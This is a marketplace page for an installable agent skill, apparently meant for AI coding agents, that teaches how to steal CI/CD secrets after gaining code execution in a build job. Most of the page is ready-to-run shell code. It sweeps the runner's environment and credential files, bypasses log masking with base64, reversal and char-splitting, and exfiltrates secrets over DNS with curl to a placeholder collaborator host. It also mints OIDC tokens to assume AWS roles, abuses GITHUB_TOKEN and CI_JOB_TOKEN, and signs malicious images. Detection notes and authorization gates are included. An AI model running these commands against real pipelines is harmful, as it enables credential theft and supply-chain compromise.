# Cicd Secrets Exfil

> Extracting CI secrets / OIDC tokens once you have code execution in a build job — echo/printenv exfil, log-masking bypass (base64, char-split, reversal), OIDC token abuse to assume cloud roles, GITHUB_TOKEN / CI_JOB_TOKEN scope abuse, cache / artifact secret leakage, provenance pivot.

- Skill: `purpleailab/cicd-secrets-exfil` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/cicd-secrets-exfil`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/cicd-secrets-exfil/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/cicd-secrets-exfil

---


# CI/CD Secrets & OIDC Exfiltration

Pre-requisite: you already have code execution in a CI job (see `poisoned-pipeline-execution/` or `github-actions-injection/`). Goal: convert that ephemeral execution into durable cloud / registry access without tripping log masking.

## Surface map

```bash
# In the runner — every place a secret might live
env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_|pypi_|dockerhub' | head
ls -la "$HOME/.docker/config.json" "$HOME/.aws/credentials" "$HOME/.kube/config" "$HOME/.netrc" 2>/dev/null
ls -la "$RUNNER_TEMP/_github_workflow/" 2>/dev/null
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'token|secret' | sort -u | head
```

## Log masking — and how it fails

GitHub Actions, GitLab CI, CircleCI mask declared secrets in job logs by replacing exact substrings with `***`. The mask is **substring-based, applied post-write, to UTF-8 chars only**. Defeats trivially:

```bash
SECRET="$MY_SECRET"

# 1. Base64 — masker doesn't decode
echo "$SECRET" | base64 -w0

# 2. Hex
echo -n "$SECRET" | xxd -p

# 3. Char-by-char (one char per line)
echo "$SECRET" | fold -w1

# 4. Reverse
echo "$SECRET" | rev

# 5. Print length + first/last chars (use this for *proof*; don't print the whole secret)
echo "len=${#SECRET} first4=${SECRET:0:4} last4=${SECRET: -4}"

# 6. Split across two strings
echo "${SECRET:0:${#SECRET}/2}"; echo "${SECRET:${#SECRET}/2}"

# 7. Use as URL — DNS exfil masks the secret in HTTP logs but the lookup succeeds
curl -s "https://$(echo -n "$SECRET" | base64 -w0 | tr -d = | head -c 60).<COLLAB>/"

# 8. Out-of-band — write to artifact then download
echo "$SECRET" | base64 > "$RUNNER_TEMP/proof.b64"
# then: actions/upload-artifact -> attacker downloads
```

**For authorized research: stop at step 5.** Length + first 4 + last 4 chars is enough to prove access; do not move the full secret to attacker infrastructure.

## What lives in `env`

```bash
# GitHub Actions
# - GITHUB_TOKEN — workflow token (scope depends on `permissions:` block, default depends on org)
# - secrets.* — explicitly referenced; only present if the step mapped them
# - ACTIONS_RUNTIME_TOKEN — runner-to-service JWT, scoped to runtime APIs (artifacts, cache)
# - ACTIONS_ID_TOKEN_REQUEST_TOKEN + ACTIONS_ID_TOKEN_REQUEST_URL — OIDC exchange endpoints
# - ACTIONS_CACHE_URL — cache service endpoint

# GitLab CI
# - CI_JOB_TOKEN — short-lived job token, scope depends on project + CI/CD settings
# - CI_REGISTRY_USER / CI_REGISTRY_PASSWORD — container registry
# - CI_DEPENDENCY_PROXY_USER / _PASSWORD

# CircleCI
# - CIRCLE_OIDC_TOKEN, CIRCLE_TOKEN
```

## GitHub OIDC -> cloud role

If the workflow declares `permissions: id-token: write`, the runner can mint a JWT trusted by AWS / GCP / Azure / Vault that maps to a cloud role. With code execution, you can mint it yourself even if no later step uses it:

```bash
# Mint an OIDC token from inside the job
ID_TOKEN=$(curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value)

# Inspect claims (no secret — JWT is base64)
echo "$ID_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Claims include: sub (repo:OWNER/REPO:ref:refs/heads/...), iss, aud, repository, workflow

# AWS — assume role if trust policy matches the sub claim
aws sts assume-role-with-web-identity \
  --role-arn "$AWS_ROLE_ARN" \
  --role-session-name research \
  --web-identity-token "$ID_TOKEN" \
  --duration-seconds 900 \
  | jq '{AccessKeyId:.Credentials.AccessKeyId[0:6]+"...", Expiration:.Credentials.Expiration}'

# GCP — exchange for a Google access token via Workload Identity Federation
# (requires the WIF pool/provider to trust the GitHub OIDC issuer)
```

**Trust-policy enumeration without burning a session**: the OIDC `sub` claim is deterministic — `repo:OWNER/REPO:ref:refs/heads/BRANCH` or `:environment:NAME`. If you can read the trust policy (cross-account roles are sometimes enumerable via `iam:GetRole` from a low-priv key), you can predict which `(repo, ref)` will pass.

## `GITHUB_TOKEN` abuse

```bash
# What can this token do? (no secret leaked — just header inspection)
curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes
gh api /repos/$GITHUB_REPOSITORY --jq '.permissions'

# Common abuses given `contents: write` + `pull-requests: write`
gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA            # creates a release
gh pr merge <N> --merge                                                          # merges a PR
git push "https://x-access-token:$GITHUB_TOKEN@github.com/$GITHUB_REPOSITORY" HEAD:refs/heads/research

# packages: write -> push a container to ghcr.io tagged as a "release"
echo "$GITHUB_TOKEN" | docker login ghcr.io -u "$GITHUB_ACTOR" --password-stdin
```

`GITHUB_TOKEN` is short-lived (job duration) and not exfilable to durable infra — but within the job it can mutate the repo, releases, packages, deployments. That mutation is the persistence.

## GitLab `CI_JOB_TOKEN`

```bash
# Job-token API surface — package registry, container registry, releases, child pipelines
curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \
  "$CI_API_V4_URL/projects/$CI_PROJECT_ID/packages"

# If "CI/CD Job Token allowlist" is disabled (default historically), this token can access
# OTHER projects in the same group — cross-project pivot
curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \
  "$CI_API_V4_URL/projects/<OTHER_PROJECT_ID>/repository/files/Dockerfile/raw?ref=main"
```

## Cache / artifact secret leakage

```bash
# Cache key collisions — a base-branch job that wrote a cache containing creds, restored by a PR job
# Look for caches that include $HOME/.docker, $HOME/.aws, $HOME/.npmrc, ~/.gradle
gh api "repos/$GITHUB_REPOSITORY/actions/caches" --jq '.actions_caches[] | {key,size_in_bytes,ref}'

# Inside the job — list restored cache contents
ls -la "$HOME/.cache" "$HOME/.gradle" "$HOME/.m2" "$HOME/.npm" 2>/dev/null
grep -RhE '^[A-Z_]+=.+(token|secret|key|password)' "$HOME"/.{npmrc,pypirc,gradle,m2,docker} 2>/dev/null | head

# Artifacts from a sibling job often contain build logs with masked-but-bypassable secrets
gh run download <RUN_ID> --repo $GITHUB_REPOSITORY -n build-logs
grep -RhE '(AKIA|ghp_|gho_|ghu_|ghs_|ghr_|xox[baprs]-|eyJ[A-Za-z0-9_-]{20,})' .
```

## Provenance / supply-chain pivot

Once you can mint an OIDC token + push to ghcr.io / npm / PyPI as the project, you can sign artifacts via `cosign` / `sigstore` with the project's identity. Downstream consumers that verify signatures will accept malicious releases:

```bash
# Sign a malicious image with the project's OIDC identity (Sigstore keyless)
COSIGN_EXPERIMENTAL=1 cosign sign --yes "ghcr.io/$GITHUB_REPOSITORY:malicious"
```

This is exactly the chain SLSA L3 is meant to prevent and what the `tj-actions/changed-files` incident exercised end-to-end.

## Detection signatures

| Signal | Source |
|---|---|
| Outbound DNS with high-entropy subdomain from a runner | DNS firewall (Cisco Umbrella, NextDNS, internal) |
| `base64`, `xxd`, `rev`, `fold -w1`, `${VAR:0:1}` in a `run:` step | step-log scanner (rare in defender stacks; opportunity) |
| OIDC `assume-role-with-web-identity` from a new `(repo, ref)` pair | CloudTrail `AssumeRoleWithWebIdentity` events |
| `GITHUB_TOKEN` releasing/tagging/merging from a non-release workflow | branch-protection audit, GH audit log |
| Artifact / cache containing dotfile dirs (`.docker`, `.aws`) | cache-policy lint |

## Tools

| Tool | Use |
|---|---|
| `trufflehog` | Post-hoc scan of repo / job logs for leaked credentials |
| `gitleaks` | Pre-commit + log-scan equivalent |
| `gato-x secrets` | Automates the print + masking-bypass loop |
| `cosign` / `sigstore` | Signing pivot once OIDC + push rights are in hand |
| `aws-vault`, `gcloud auth` | Local validation of exchanged credentials (against research accounts only) |

## Decision gate

1. **Print proof, not the secret.** `len + first4 + last4` is enough. Anything more requires explicit written authorization for credential extraction.
2. **Do not exchange OIDC for cloud credentials** unless the engagement scope names the cloud account and the action explicitly authorizes role assumption. Demonstrate the *capability* by minting the token and decoding the claims locally — that proves the trust path without burning a session.
3. **Do not push artifacts** (releases, packages, container tags) even if the token allows it. Document the capability with a dry-run (`--dry-run`, `gh release create ... --draft` on a research repo).
4. Scrub any artifact / cache you created during the test before declaring done.

## References

- GitHub docs — "About security hardening with OpenID Connect"
- CICD-SEC-06 — "Insufficient Credential Hygiene" (OWASP)
- Synacktiv — "GitHub Actions: Masking secrets is not enough"
- Adnan Khan — Sigstore + GHA OIDC pivot writeups
- `tj-actions/changed-files` (CVE-2025-30066) — end-to-end OIDC + masking-bypass chain in the wild

